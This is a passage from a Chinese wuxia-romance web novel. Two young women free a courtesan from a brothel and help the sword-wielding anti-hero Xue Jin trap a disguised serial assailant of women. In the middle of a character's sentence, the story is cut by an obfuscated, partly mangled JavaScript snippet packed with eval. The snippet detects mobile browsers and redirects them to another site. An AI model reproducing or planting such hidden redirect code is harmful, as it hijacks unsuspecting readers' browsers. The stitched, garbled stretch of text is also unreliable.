一柱香的时间过去,桌上的瓜子皮堆成了一座小山。仿佛有人按下了开关一样,嘈杂的喧闹声一下就都全部消失了,所有人齐齐望向高台之上,两人也是放下了手里的瓜子,顺着他们的视线看过去,只见那高台之上,端坐着一名女子,她身着一袭水蓝色纱裙,如瀑的长发,用一柄白玉钗在脑后松松挽了髻,再搭上那张出水芙蓉面,整个人清丽绝尘宛如月宫仙子。 薛陆二人对视一眼,皆在彼此眼中看到相同的意思:这位就是解语楼的花魁娘子水玲珑,他们即将救风尘的对象了。 水玲珑坐在琴台前,素手轻轻拨动琴弦,悦耳的音符像流水一样从她削葱般的指尖流泻出来,悠扬的琴声飘散开来,听得台下众人如痴如醉。陆怀袖只觉这位姑娘的琴艺和宫廷琴师相比,也是不遑多让,此人的的确确称得上色艺双绝。对于这位颇有才华却又不幸沦落风尘的青楼女子,她不免生出几分怜意,更加坚定了要把她带离魔窟的念头。 直到一曲终了,众人还未恍过神来,在沉默许久后才响起雷动的掌声。他们眼睛眨也不眨地看着她,就像在打量一件稀世珍宝。感受到那些极具侵略性的眼神,水玲珑的秀眉微不可见地轻蹙了一下,起身向台下观众微微颔首,之后便头也不回的往后台走去。旁的青楼女子见她不用费心讨好,不用委屈迁就,照样大受欢迎,脸上不由得浮现出又羡又妒的神色来。 不一会儿,一位打扮得花枝招展、风韵犹存的老鸨走上台,开始了今日的竞拍环节。她拔高了嗓子喊道:“老规矩,我们会拍卖和花魁娘子见面的机会,谁出的价高谁就得,现在拍卖正式开始。” 她的话音刚一落下,底下就炸开了锅,出价的声音此起彼伏,连空气里都弥漫着金钱的味道。才不过一会,就已经有一位膘肥体壮的富商出到了三千贯铜钱的高价,让老鸨乐得嘴巴都合不拢。 薛陆二人一番窃窃私语、交头接耳之后,陆怀袖清了清嗓子,扬声说道:“我出一万贯铜钱。” 她这话一出,在场的众人顿时沉默下来,他们齐齐望向这位俊俏的小公子,实在没想到会出现这么一个财大气粗的对手,不过对方出价如此之高,他们也只能默默闭上了嘴。 老鸨笑容满面地宣布了最终结果,随后用双手将陆小公子递来的钱袋接了过去,掂了掂钱袋的分量,脸上的笑意更深。下一刻,她摆出了一副毕恭毕敬的样子,领着陆怀袖这位财神爷,进屋和水玲珑一叙。 薛矜看着她们的背影逐渐消失在他视野范围内,随后若无其事地继续磕着瓜子,显得与周围那群一片哀嚎一脸丧容的嫖客格格不入。 * 陆怀袖在老鸨的带领下,进入了一间布置得甚为素雅的房间,她四下打量了一番,只见房间大小适中,陈设简单,只临窗一张花梨木书案上摆满了书和笔砚,阳光透过纸糊的窗户洒进来,看上去倒不像是青楼女子的绣房,而像是文人雅士的书房。 她刚一进门,老鸨就“啪”地一声关上了门,自觉地退下了。水玲珑本来在提笔练字,听到动静抬起头来,视线自然而然的落到陆怀袖身上,见来人仪表堂堂,气度不凡,对接客的厌恶也减轻了几分。她放下书卷,袅袅娜娜地走过来给这位“小少爷”倒了杯热茶,招呼对方坐下。 陆怀袖笑着接过了茶,浅浅地抿了一口,浓郁的茶香在嘴里散开,沁人 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这话一出,登时让水玲珑呆愣在原地,久久不能回神。直到陆怀袖伸出五指在她面前晃了晃,她才回过神来,将对面作男装打扮的小公主从头到脚细细打量了一番,果然瞧出了一些端倪,比如面庞太过秀美,曲线太过分明之类的。 她心里斟酌了一下措辞,眼神不由自主的往陆怀袖身上飘,正想开口说话,却被对方抢先一步:“你别不信,我特地来此,就是为了给你赎身,之所以女扮男装,也只是因为这样方便出现在青楼里,不会落人口舌。” 闻言,水玲珑盯着她的脸,不放过一丝一毫的表情变化,似乎是想从她脸上的表情判断是否在说谎。陆怀袖同样注视着对方,大大方方迎上她审视的目光,一副身正不怕影子斜的模样。她说的可都是真话,不怕对方不信。 两人就这样对视了片刻,首先挪开目光的是水玲珑。她露出一脸像是被从天而降的元宝砸中了的表情,过得半晌,嗓音艰涩地开口:“我与陆小姐无亲无故,你为什么要帮我?” 陆怀袖听罢,将鬼客栈的那段经历绘声绘色地讲给对方听,提及老妇人的委托时,她也是深受触动,不禁在心中感叹道,真是可怜天下父母心,死者早已化作孤魂野鬼,却仍心系女儿的命运,企图让她重获新生。 水玲珑一言不发地听完,心里像是打翻了调味料一般五味杂陈。她万万没想到,死去多年的母亲有这般际遇,之后还委托了这对少年男女将自己带离风尘。她又想到自己家道中落,父母双亡,自此沦为男人的玩物,自怜自伤了好一番,所幸如今终于可以重见天日了。 像是想起什么似的,她原本舒展开的眉头又皱了起来,忧心忡忡地说道:“原谅我又要说扫兴的话,在彻底榨干我的价值之前,那位是不会轻易放我离开的。” 随着她的话音落地,陆怀袖微微向前倾了倾身子,勾唇一笑,冲她眨了眨眼,温声细语地安慰她:“你放心,老鸨那里,我义兄会替你解决的。只要有他在,一切都会没事。” 35. 赎身 却说老鸨房中,薛矜正在和她分坐在长方桌的两端,商议水玲珑的赎身之事。 老鸨不动声色地打量着薛矜,眼前的少年看起来不过十七八岁,她实在怀疑他能否出得起给当红花魁赎身的钱。想到这里,她随便报了个数字:“五百两。”在当时,外面买一个丫鬟也才几两银子,赎个人怎么也用不着五百两。老鸨这样说,也是为了让少年知难而退。她打心眼里认为,少年应该会同先前那些愣头青一样,灰溜溜地滚回去,再也不敢提及此事。 谁料薛矜财大气粗地一挥手,想也没想便直接答应道:“好!就这么定了!” 对方答应得如此之快,以至于老鸨根本没有反应过来。意识到自己有眼不识泰山后,她心中后悔不已,只觉自己要得少了,急忙摆了摆手,又改口说道:“刚才我说的不是对的,她可不止这个价,这五年里我把她捧在手心当珍宝般供养大,还雇名师教她琴棋书画,花在她身上的钱不计其数,所以我要再加五百两,一千两银子才能将她赎走。” 她说这话全然是信口雌黄,培养水玲珑虽然花了她不少钱,但自从对方十四岁登台献艺后,这三年里也不知给她挣了多少钱,早就回本了。一千两银子完全就是狮子大开口,想要狠狠讹少年一笔。 对方心里打的什么算盘,薛矜一清二楚,眉头不由得微微皱了起来。他是有很多钱,但他不喜欢做冤大头。这么个贪得无厌的女人,是该给她点教训瞧瞧了。他这么想着,从怀中掏出十文钱,随手一洒,散落在桌面各处。 他的视线往下移,停留在那十枚铜钱上,语气不咸不淡地说道:“我只出这么多钱,你爱要不要。” 闻言,老鸨数了数零星散落在桌面上的钱,总共十个铜板,也就能去大街上买几个肉包子,除此之外什么也买不到。她看都没看那十个铜板,语气不屑道:“十文钱?你打发叫花子呢?如果没钱的话,就滚到一边去,别来这丢人现眼。” 她的语气中带着毫不掩饰的轻蔑,薛矜却不以为意地笑道:“这十文钱免费送你,你不妨先把它们收入囊中,再与我议价不成。” 老鸨听他这般说,想着蚊子腿再小也是肉,这十文钱她要,那一千两也不能少。想到这里,她伸手去捡那些铜钱,谁知少年只是随手一挥,它们却深深嵌入了桌面,任凭她使出吃奶的力气,都没能拔出来。拔到最后,她都将木桌提了起来,可铜钱还是纹丝未动。 等到力气用尽,她彻底放弃尝试,气喘吁吁地坐了下来,胸口剧烈起伏。经过刚才的事,她已经无比清晰地认识到少年是一位深藏不露的高手,想到自己刚才对他的态度,额头上瞬间冷汗涔涔。 她那惊恐的神情,明显取悦到了少年。他单手托腮看着她,语气十分恶劣地问道:“你要不要啊?” 他露了这一手后,老鸨再也没了先前嚣张的气焰,为了自己的小命着想,她只得心不甘情不愿地说道:“要要要。”她哭丧着脸说完,只觉得自己的心都在滴血。 闻听此言,薛矜的双眼愉悦地眯起,笑得活像一只小狐狸,落在老鸨的眼中,却跟大尾巴狼似的。下一刻,他轻轻拍了拍桌面,那十枚铜钱如同被赋予了生命一般,尽数跳入老鸨的怀中。 另一厢,陆水二女一边闲话家常,一边静候佳音。因为这位陆小姐将她的义兄吹得天花乱坠,水玲珑也深受她感染,像是吃了一颗定心丸一样,相信薛矜真能摆平那难缠的老鸨。 两人有一搭没一搭的闲聊着,就在这时,房间的门吱呀一声开了,两人都下意识地转头看去,只见薛矜带着老鸨朝她们迎面走来,脸上还带着一丝得意的笑,他背后的老鸨则像是霜打的茄子一般,垂头丧气。 将他们脸上的神情分别收入眼底,陆水二女便有了五分把握,直到薛矜用口型说出了“搞定了”这三个字,这把握又提高到了十成。 陆怀袖侧过头去,笑吟吟地看着水玲珑,那一脸得意的表情好像在说,怎么样,我没说错吧。 水玲珑的目光也同样看向她,唇角弯成新月的弧度,笑意直达眼底。自从五年前被卖入青楼为娼后,她许久没有这么开心地笑过了。 * 成功替水玲珑赎身之后,她向薛陆二人郑重道了谢,两人表示是也是自己受人之托,忠人之事,让她不必多礼。待水玲珑收拾好一切后,三人大摇大摆出了解语楼,外面早有一辆华丽的马车等候,薛矜抬了抬下巴,示意两位姑娘先上去,随后也拨开帘子登上了马车。 车轮滚滚,马蹄声声,大约半个时辰之后,马车穿过市井繁华,街巷喧嚣,在一处院子门口停下。 三人撩起帘子,逐一从马车上跳了下来。双脚踏上实地,陆怀袖凝目去看,一幢青瓦白墙的宅院映入眼帘,瞧着虽不怎么大,他三人住进去却也是绰绰有余了。 一名虎背熊腰的光头大汉早早等候在大门外,长相一看就挺不好惹的。他远远看到薛矜来了,一脸毕恭毕敬地迎了上去,那讨好的姿态,和他凶横强悍的外表严重不符合,看得陆怀袖忍不住在心里啧啧了几声。两人用只有他们能听到的声音交头接耳了一番,随后那个大汉做了个请的手势,侧身让他三人进来。 宅院清幽,造型简朴,其间有假山流水,森森绿树,看上去不像是大户人家的院子,更像是世外高人的隐居住所。陆怀袖怎么也想不通薛矜是怎么在这么短的时间内,找到这样一件宅子的。 大汉领着他们行走在一条幽静的小路上,路上绿树成荫,鸟语花香。陆怀袖实在好奇这个问题,便把头凑过去,压低了声音问道:“薛公子,短短一天的时间,你是怎么搞到这间宅子的?” 薛矜对上她的视线,神秘兮兮地笑了笑说:“我什么也没做,这是人家孝敬给我的。”他这话说得倒也没错,他在落月教 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大汉被他带着冰碴子的声音拉回现实,看着顶头上司那一副皮笑肉不笑的样子,忙给自己扇了一个大嘴巴,随后在那两位姑娘不明所以的目光中,撒开腿一溜烟的跑了,好像身后有什么洪水猛兽似的。 三人穿过走廊步入花厅,径自走到一张檀木桌前坐下,桌上早已体贴的摆好了瓜果点心,还泡着一壶热茶,茶香随着上升的水汽氤氲,在整间花厅弥漫开来。 水玲珑浅浅抿了一口茶水,忽然想起什么似的放下了茶盏,一脸严肃地看向陆怀袖,语气十分凝重地说道:“陆小姐可曾听说,曲州城中疑似出现了采花贼?这贼人作案手段极为残忍,频频劫色害命,每次作案后都会在受害人身边放一枝桃花,因为官府奈何他不得,素来有‘鬼影子’的称谓。此贼十分猖獗,短时间内连续作案多起。” 她语气顿了顿,语速变快了几分,不放心似的叮嘱道:“你出门一定要事事小心,千万别着了那贼人的道。” 经她提醒,陆怀袖又想起白日里听到的那些消息,义愤填膺的同时也有些惊惧。此贼不挑美丑,不分老幼,只要是个女的就可能受他迫害,谁知道他的下一个目标是谁。 水玲珑也是位女子,还是位相貌十分出众的女子,保不齐那贼人就看上了她,自然也对他十分害怕。 一时间,气氛有些凝滞,两位佳人皆是愁眉苦脸,连声叹息。 率先开口打破沉默的是薛矜。他手中默默地把玩着茶盏,忽而轻笑一声,薄唇淡淡开口:“说到此事,在下有个法子可将那贼人捉拿归案,只是需要两位姑娘配合在下演一出戏,不知你们可愿施以援手?” 陆水二女听他这般说,你看我我看你,面面相觑,一想到能将这作恶多端,害死了数十名女子的贼人绳之以法,她们都跃跃欲试起来。两人立马小鸡啄米似的点头,接着毫不犹豫地异口同声道:“自当奉陪。” 36. 激将 次日临近午时,薛陆二人带着水玲珑,早早出发去了他们先前住过的那间客栈,大摇大摆地一脚踏进客栈大门。此时正值晌午饭点,慕名前来吃饭的人络绎不绝,门前有不少食客进进出出,客栈内颇为嘈杂,说句人声鼎沸也不过分。 客栈内聚集了各种各样的食客,而陆水二女皆是天生丽质的美人,何况今日出门前特地精心打扮了一番,乍一亮相便如同炫目的发光体,引得所有人侧目,甚至还有人没怎么吃,光顾着看她们了。众人的目光毫不避讳的从她二人身上扫过,她们却对落在自己身上的灼热视线视若无睹,神情自若地说说笑笑,与往常无异。 薛矜环视周围一圈,终于在一楼最不显眼的角落里找到了一处空位,当即领着陆水二女快步朝角落走去。落座之后,他的目光四处游走,眼尖地看见了先前那名黑衣跑堂。 此时那名跑堂正楼上楼下利索的跑来跑去,给各种各样的食客传送饭菜。他将对方唤至跟前,随便点了几个菜,趁此机会,将人从头到脚仔仔细细地打量了一番,随后状似不经意地问道:“这位小哥,我再向你打听件事,请问曲州城内可有什么有名的武馆镖局?” 薛矜的相貌极为出众,令人见之难忘,跑堂自然还记得这位风姿卓然的美少年。他点了点头,恭敬地答道:“龙威镖局是城里信誉最好的一家,里面的镖师个个武艺高强,而且经验丰富,想必应该符合客官您的要求。只是小的不知,客官突然问起这个,是为何故?” 闻言,薛矜装模做样地叹了一口气,仿佛真的在和对方推心置腹:“想必你也听说了,近日曲州城出了个采花贼,来无影去无踪,哪家女子要是被他看上了,就没有成功逃过的。而我家中不幸,有这么两位美若天仙的姑娘,自然得雇高手好好看护住,不让那贼人得手。” 他的话音刚一落下,陆水二女便顺着话眉头一皱,也露出一副忧心忡忡的模样。 那跑堂在一旁默不作声地听完,长长的“哦”了一声,摆出一副原来如此的样子。他的视线在陆怀袖和水玲珑身上来回打转,真情实意地说道:“原来是为了这事。您的确应该早做打算,毕竟您的身边有这样两位月貌花容的大美人,少不得被人惦记。”说话间,他偷偷用眼角余光瞥了一眼薛矜,本想再加上一位,但话到嘴边还是明智地换了说法。 薛矜顺着他的话说了下去:“我也想好好保护她们俩,奈何有心无力,自己是个肩不能扛手不能提,挨一下就伤碰一下就死的文弱公子,万万不是那贼人的对手,做不了这护花使者,百般无奈之下,也只得假手于他人了。” 陆怀袖将他这番话一字不落地听入耳中,憋着笑强行安静下来,旁边的水玲珑也没比她好到哪里去。 在她们憋笑憋到肩膀一抽一抽的时候,跑堂终于开口说道:“您想破财消灾这件事无可厚非,只是恕小的多嘴一句,那贼人除了轻功高绝,武艺非凡之外,还精通易容术,不是一般人对付得了的。以前也不是没人试过全副武装,但还是被他突破重围,成功采花。因此,您请再多的高手,也只是徒劳无功罢了。” 那名跑堂说完之后,小心翼翼地觑着薛矜的脸色,他本以为自己说了这么一通,对方势必会大动肝火,朝他发脾气,可出乎他意料的是,少年非但没有动怒,反而拍了拍手,恍然大悟般大笑道:“你说得对,我的确不该花那些冤枉钱,请别人为我看家护院。且让我来想个妙计,设下天罗地网,让那采花贼自投罗网,然后将这臭名昭彰的贼人送进监牢。” 他身旁的两位姑娘一听,连连点头表示赞同,随后你一言我一语地附和着。 水玲珑樱唇微启:“你还是太乐观了,当官府正式下发海捕文书的时候,这贼人想必早已望风而逃,哪里还敢露面呢?此人外号叫‘鬼影子’,而这鬼吗,就是见不得阳光的,一见到光,就会魂飞魄散啦。” 陆怀袖银牙轻咬:“谁说不是呢。那藏头露尾的贼人就跟阴沟里的老鼠一样,说不定早就吓得逃之夭夭了,你的陷阱可不就白设了。” 薛矜闻言,哼笑一声道:“他吓跑了不正好,至少本地的姑娘从此就可以安心出门了。只是可惜了那一千两白银,我还想亲手将那贼人捉拿归案,领了赏银,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273383|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上人人艳羡的好日子呢。” 他们仨你一言我一语自顾自说着,那名跑堂被他们晾在一边,又不敢出声打断,只好降低自己的存在感默默听完。这三人每说出一个字,他的脸色就难看一分,说到最后,脸色已是难看到了极点。 直到终于骂尽兴了,他们才停了下来,端起茶杯喝了口茶润润喉咙。跑堂暗暗磨了磨牙,心里将他们骂了个狗血淋头,面上还勉强维持着一副和善的神色,笑容僵硬地说道:“客官若没其他吩咐,小的就退下了。” 薛矜不甚在意地挥了挥手,又继续和身旁的两位姑娘取笑起那名采花贼来,语气中的轻蔑毫不掩饰。跑堂转身离去,步履飞快,将他们充满讽刺和哄笑的声音抛在脑后。 他不知道的是,自他走后,余下三人你看我我看你,片刻后,齐齐笑了起来。 三人又闲谈了一会儿,饭菜很快由另一位跑堂端上桌来。而就在陆怀袖抄起筷子正准备大快朵颐的时候,她身旁的水玲珑忽然开玩笑地说:“袖袖你拿筷子拿得这么远,将来一定嫁得远。” 水玲珑只是随口一说,然而这句无心之言,却被陆怀袖听在心里。她不由自主地联想起颜贵妃来,对方曾和她说过一模一样的话。她又想到自己今后的命运果真如母妃所言,手上动作一顿,瞬间没了胃口。 自她说出那句玩笑话后,对方的脸色肉眼可见的变差了。水玲珑瞬间意识到自己说错了话,冒犯了陆怀袖,连忙捂住了嘴巴,有些不知所措地看向了薛矜。 薛矜本来正悠闲自得地吃着饭,感受到对方向他投来的求助目光,从鼻子里哼了一声道:“老祖宗尽传下些该带进棺材里的规矩,照我说拿得近,吃得快,拿得远,抢好菜,姑娘家爱怎么拿筷就怎么拿筷,尽情享受吃吃喝喝。”说完轻笑着把菜推得离陆怀袖更近了一些。 陆怀袖怔怔地看着他,那一句“姑娘家爱怎么拿筷就怎么拿筷”在脑中不断回响,她心里不由得“诶”了一下,只觉内心深处有什么东西正叫嚣着要冲破牢笼,掌控自己的身体。 那种感觉很是陌生,但她并不抗拒。 37. 夜宿 夜已深,喧嚣的街市复归宁静,周围人烟稀少,万籁俱寂,唯有虫鸣声在这漫漫夜色中回响。 城北甜水巷子的一处宅院大门外,一位身形高挑、形容秀丽的女子直直的停在了紧闭的门前,抬起手叩了叩门。过了一会儿,门被打开一道缝,两位绝色佳丽探出半边身子,一位清丽胜莲,一位艳若海棠,正是水玲珑和陆怀袖。 她们凝目一看,见来人是位二十岁左右的年轻女子,刚要开口,便听见那名女子恳求道:“小女子名为钟素秋,爹爹死后便随母亲来这投靠亲戚,谁曾想亲戚没找着,娘倒没了,如今孤苦伶仃、无依无靠,又听说城中有采花贼出没,不敢在外留宿。如今天色已晚,我想在此借宿一宿,请两位姑娘行行好收留我一晚吧。”她说完眼巴巴地看着两人,摆出一副可怜兮兮的模样。 陆水二人不刻意的将她从头到脚打量了一遍,眸光闪了闪,不动声色地扬起一抹浅笑。 两人对视了一眼,从彼此的眼中看到了同样的意思,陆怀袖率先开口道:“你说的有道理。曲州城最近出现个采花贼,吓得姑娘家门都不敢出,你独自一人容易遇到危险。我们也不是什么铁石心肠之人,自然愿意让你借宿一宿。” 钟素秋闻言,脸上难掩喜悦之情,急忙躬身谢道:“两位姑娘不光生得美貌,心地更是善良,简直就是天下少有的活菩萨。” 水玲珑听她这般夸赞,掩嘴轻笑道:“快进来吧。外头更深露重,你会着凉的。”说完将门全部打开,侧身让她进来。 钟素秋踏过门槛,回身关好大门,再走到陆水二女身前,足足比后者高出半个头。两人带着她往院中的一间客房走去,一路上双方互通了姓名。她一边和二女说说笑笑,一边暗暗观察周围环境,状似不经意地问起:“这么大的院子就只住着两位妹妹么?” 陆怀袖听她问询,抬眸看向她,回道:“的确如此。我们还有一位义兄,但他并不跟我们住在一处,毕竟瓜田李下男女有别,同吃同住难免会惹来闲言碎语。” 闻听此言,钟素秋点了点头,不再继续这个话题。她一路上将这两位姑娘夸得天上有地下无,引得她们一阵花枝乱颤。 窸窸窣窣的脚步声很快消失,两人在房门口停下,清了清嗓子道:“到了。”说完便重重地咳了几声,随后吱呀一声推开了门。 钟素秋随着她们踏入房中,四下环视了一圈,倒觉得室内的布置整齐简洁,素雅宜人。松木几案上的青铜香炉里飘了几缕安神香,甚是好闻,当中摆放着一张特别宽大的紫檀木大床,床上重重帐幔垂下,掩住了外间的光线,也遮住了里面的风景。 她收回自己打量的视线,装模做样地叹了一声道:“这间房可真好,感谢两位姑娘愿意让我留宿,只不过……”她说到这里却不往下说了,一副欲言又止的模样。 陆怀袖见状,很是关切地问道:“怎么了?你有什么不方便的地方尽管和我们说,女子出门在外本就不易,我们能帮的尽量帮。” 水玲珑也在旁边附和道:“袖袖说得没错,你有什么困难尽管跟我们说,我们会尽力帮你的。” 像是下了很大决心似的,钟素秋鼓起勇气说道:“我其实很怕黑,晚上不敢自己一个人睡觉,不知两位姑娘可愿陪我一起睡?”她说完小心翼翼地看向面前的两人,生怕对方拒绝,又赶紧补上了一句:“我睡相很好的,不会打扰到你们。” 闻言,陆水二女脸上明显的流露出纠结之色,她们的犹豫让钟素秋很是不安,她连忙摆手道:“两位姑娘不愿意就算了,是我冒犯了。我以前都是和我娘睡在一处的,只可惜……” 她话说到这里,像被人掐住了喉咙一样戛然而止。陆怀袖轻叹了一声,柔声细语地说道:“既如此,我陪你就是了。不过这张床大得很,我们仨一起睡也绰绰有余呢。” 此话一出,钟素秋登时咽了咽口水,光是想想就觉得半边身子都要酥了。她拼命克制住心神,眉花眼笑道:“那可太好了,这床那么大,足够我们一起睡了。” 水玲珑点头微笑道:“袖袖的提议很好,不过我们俩得先洗漱一番,钟姑娘不妨先上床呆上片刻,我们速速就来。” 钟素秋听罢,小鸡啄米似的点头,都快点出残影来了。她三步并作两步走到床前,如果不是怕到手的鸭子飞了,她甚至想哼首十八摸。 只是乐极生悲,她掀开帐子的时候没注意里面有人,还没有看清楚对方的长相,就被他一脚踹飞了出去。 这一脚毫不留情,踹得这位妙龄女郎如断线风筝似的往后飞去,直直撞上墙壁才停下。陆水二人听到咔嚓咔嚓骨头断裂的声音,非但不同情,反而拍手称快。 钟素秋在猝不及防之下,被这一脚踢得一口鲜血吐出。她只觉浑身骨架都散了似的,完全丧失了行动力,想必是被踹断了好几根肋骨。她自出道以来纵横江湖多年,这还是她第一次受这么重的伤。 导致她受伤的罪魁祸首伸出一只骨节分明的手,挑开纱幔,跳下床来。只见那人穿着一袭绯衣,乌黑的长发被一条红发带高高束起,玉面朱唇,一双狐狸眼似笑非笑,在烛火照耀之下越发显得莹莹璀璨,不是薛矜是谁? 浑身剧痛的钟素秋抬眸望去,那抹熟悉的红影当即跳入眼中。她眼神一变,顿时意识到中计,心里叫苦不迭。 薛矜施施然走到她的面前,俯身蹲下。欣赏够了她这副惨状,他毫无同情心地笑了两声,随后出手如电,将她脸上的易容撕了下来。 陆水二女齐齐望去,果不其然,人/皮面具之下的那张脸无比眼熟,俨然就是在如意客栈打杂的那名跑堂。 “钟素秋”被揭开面具,知道事迹败露,脸色灰败血色褪尽。他自然就是那个臭名昭著的采花大盗——鬼影子,他本就对陆水二女垂涎三尺,那日被她们俩肆意取笑,心眼 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“还有一点,当时我在你身上闻到了一股淡淡的桃花香,而那名采花贼每次作案后都会在受害人身边放一枝桃花,从他的作案频率来看,显然经常接触桃花,身上有这种香味也不足为奇。结合城中的传闻,我当时便有些怀疑你,只是没有证据。之后我又派我的小弟去偷你的钱包,你在追捕中展现出来的身法彻底暴露了你,我从此确定了你就是那名采花贼。” 鬼影子默不作声听完,心中又惊又怒。他万万没想到那杀千刀的小偷,居然是受眼前这名少年的指示,更是没有想到,自己追回了钱包,却要丢掉了性命。他越想越气,恨恨地瞪着薛矜,眼神无比狠厉,像是要将他剜下一块肉来。对方小小年纪,却是狡诈无比,居然能想出这种下三滥的损招来。他一世英明,今天算是全毁了。 他眉眼之处怒意一片,薛矜却一点儿没将他凶狠的眼神放在心上,顿了顿又继续说道:“不得不说,你的易容术的确高明,但右耳朵上那颗痣却暴露了你的存在。咱们第二次见面之时,我便留心到了这一点,回去之后就告诉了这两位姑娘。深夜外人来访,她们打开门一看,注意到来人右耳上的痣,便知道是你了。” 漫长的沉默过后,鬼影子嗓音干涩地开口,像在努力克制自己的不甘:“最后一个问题,你怎么知道我一定会自投罗网。” 薛矜懒懒地撩起眼皮看了他一眼,哼笑一声道:“你每次作案后都要象征性的放上一枝桃花,生怕别人不知道你存在似的耀武扬威,我便知你是个自高自大的人,你觉得自己很厉害,谁也抓不住你。对付你这种人,这种低级的激将法往往是再好用不过的了。方法并无好坏,要看什么样的方法用在什么样的人身上。” 话音刚落,他站起身来,轻轻拂去了衣袖上并不存在的灰尘,居高临下地看着宛如待宰鱼肉的采花大盗,不带任何感情地开口道:“好了,接下来就麻烦你去官府走一趟了。” 38. 暂别 那晚擒住鬼影子后,三人马不停蹄的将他扭送去了官府,确认无误后,顺顺当当地领了一千两赏银,最后七三分成——当然,薛矜七,陆怀袖和水玲珑三。 陆怀袖甚至有足够的理由确信,薛矜他就是为了赏银,才从头到尾表现得这么积极的。 事实上也的确如此。薛矜此人绝非正义之辈,对于鬼影子的滔天罪行也只是鄙夷,并没有像其他人一样喊打喊杀想要替天行道的意思。毕竟他自己就是个杀人如麻、视人命如草芥的大魔头,对一个采花贼进行道德谴责未免太过可笑。 不过他的确很瞧不上那家伙,只敢逮着女人欺负,着实是个欺软怕硬的软蛋。在他看来,一个合格的大恶人,不应专门欺负老弱病残,理应无差别一起袭击,众生平等所有人都得死。 而他就是这样一个存粹的大恶人,在他眼中,没有贫富贵贱男女老幼之分,只有能杀和不能杀的区别。 欢天喜地领了赏金之后,陆水二女特地挑了一个风和日丽的下午出门逛街。 两人一路上走走停停,买了不少稀奇古怪的小玩意,心情也渐渐愉悦。双美同行,各擅胜场。蓝衣女子如清水芙蓉,粉衣女子似春日桃花,皆是不可多见的绝色佳丽,引来不少人的注目。路上的行人都放下了手头的事,目光发直地盯着她们看了半晌。 不过两人显然对这样的目光早已习以为常,她们神色自如地挑选心仪物件,并未将落在她们身上的灼热视线放在心上。 大约走了一炷香的时间,两人来到了城内最大的成衣铺子“锦绣坊”前,停下了脚步,店内有不少富贵人家的夫人小姐带着随行的婢女挑拣衣裳,空气中浮着名贵脂粉的香气。 进了店铺,各种花花绿绿的成衣便映入眼帘,各种各样的衣物摆得琳琅满目。水玲珑被里面一件藕粉色的衣裙吸引住了,她走过去伸手一摸,只觉料子光滑无比,令人爱不释手。她将那件裙子上下打量了一番,心道这衣裳穿在袖袖身上必定好看,得让对方穿上去试试。想到这里,她转头看去,只见陆怀袖正在看一匹红色丝绸布料,目光十分专注。 她走过和对方肩并肩,脸上笑意盈盈地问道:“袖袖相中了这匹布料,想买来给自己做套衣服?”她凝目看去,只觉红色太过张扬了些,倒不像是对方喜欢的,反倒像……水玲珑心中隐约有个猜测,却又不敢妄下判断。 闻言,陆怀袖轻轻摇了摇头,半真半假地说道:“不,我是想给薛矜买。毕竟那家伙就不像是那种会花心思打扮自己的人,衣柜里必定有很多套一摸一样的衣服。既然他对穿衣打扮这么不上心,我这个做妹妹的就只好为他代劳了。不过不得不说,他的确……很适合红色。”她一边说着,一边拿手摩挲着那匹布料,动作轻柔得如同抚摸自己的情人。 对于她的后半句话,水玲珑深表赞同,但她还是忍不住在心里啧啧了几声,暗暗腹诽着,这位少女,你的心思实在是太明显了。 最后的最后,尽管陆怀袖很想买,但在权衡之下,她还是打消了这个念头。原因无他,她实在不知道该以何种理由何种立场,将自己一针一线缝出来的衣物送出去。 在太阳即将完全落山之前,两人拎着大包小包的东西回到宅邸,陆怀袖当先一步推开大门,映入眼帘的那一幕却让她如泥塑木雕般怔在原地,那句即将脱口而出的“我回来了”也被她生生咽了下去。 只见绯衣少年长身玉立在院子中央,旁边还多出来一位白衣姑娘。姑娘看上去十七八岁的模样,一身轻灵之气,乌黑如墨的长发随意挽了个发髻,上面只插了一根式样古朴的银簪。她眉眼清冷,气质脱俗,任谁见了都得道一句大美人。 只是她似乎来得很急,此时一副风尘仆仆的模样,浑身还带着掩盖不了的血腥气。她正一脸惶急的同少年交谈,用只有两人才能听到的声音。 陆怀袖见两人站在一起,一个清冷绝俗,一个光彩照人,看起来十分登对,着实般配,提着东西的手微微紧了紧,双腿像是灌了铅一般无法动弹。 交谈中的两人听到门口的动静,齐齐向她们这边看过来。看清来人的面容后,薛矜挑了挑眉,绯色的衣袍随风摆动,主动走到陆怀袖身边,为三人简单的做了介绍。 陆怀袖得知这个姑娘名唤李年年,她和薛矜是从小一起长大的好朋友,而李年年早在陆水二女到来之前,就从薛矜那知晓了她们的身份。她朝着两人微微颔首,以示打了个招呼。 双方又简单交谈了几句,薛矜安排李年年暂住在一处别院里,随后跟进去,关上了屋门,继续和她谈论先前的话题。 水玲珑眼见自两人走后,少女的情绪肉眼可见地低落下去,更加笃定了自己的猜测,唇边逸出一声几不可闻的叹息。 * 是夜,陆怀袖坐在茶桌边,双手撑着下巴发呆,想着那个突然冒出来的白衣女子,莫名其妙的情绪低落。她晃了晃脑袋,试图将那些乱七八糟的想法甩出去,随后便吹熄蜡烛往床上一躺。 她胡思乱想导致脑子里一团乱麻,躺在床上却感觉一点睡意也没有。思来想去,她索性披衣而起,打算出屋散散心,或许心情也会好一些。 谁知就在陆怀袖即将推门而出之际,她的耳边传来了敲门声,紧接着那道无比熟悉的声音响起:“是我。” 正是薛矜。 她闻言愣了一愣,反应过来后立即给对方开了门。开门后,一道颀长清瘦的身影出现在她的眼前。绯衣少年站在门口,背光而立,周身沐浴在银白的月辉之中,留下一个如梦似幻的剪影,看着那样的不真实。 陆怀袖抬眼看了他一瞬,又很快收回视线,侧身让他进屋。谁知对方却在这时往后退开了一步,和她拉开了距离,随后摆了摆手说道:“不必了,我是来向你告别的。” 这话听到陆怀袖心里,登时犹如 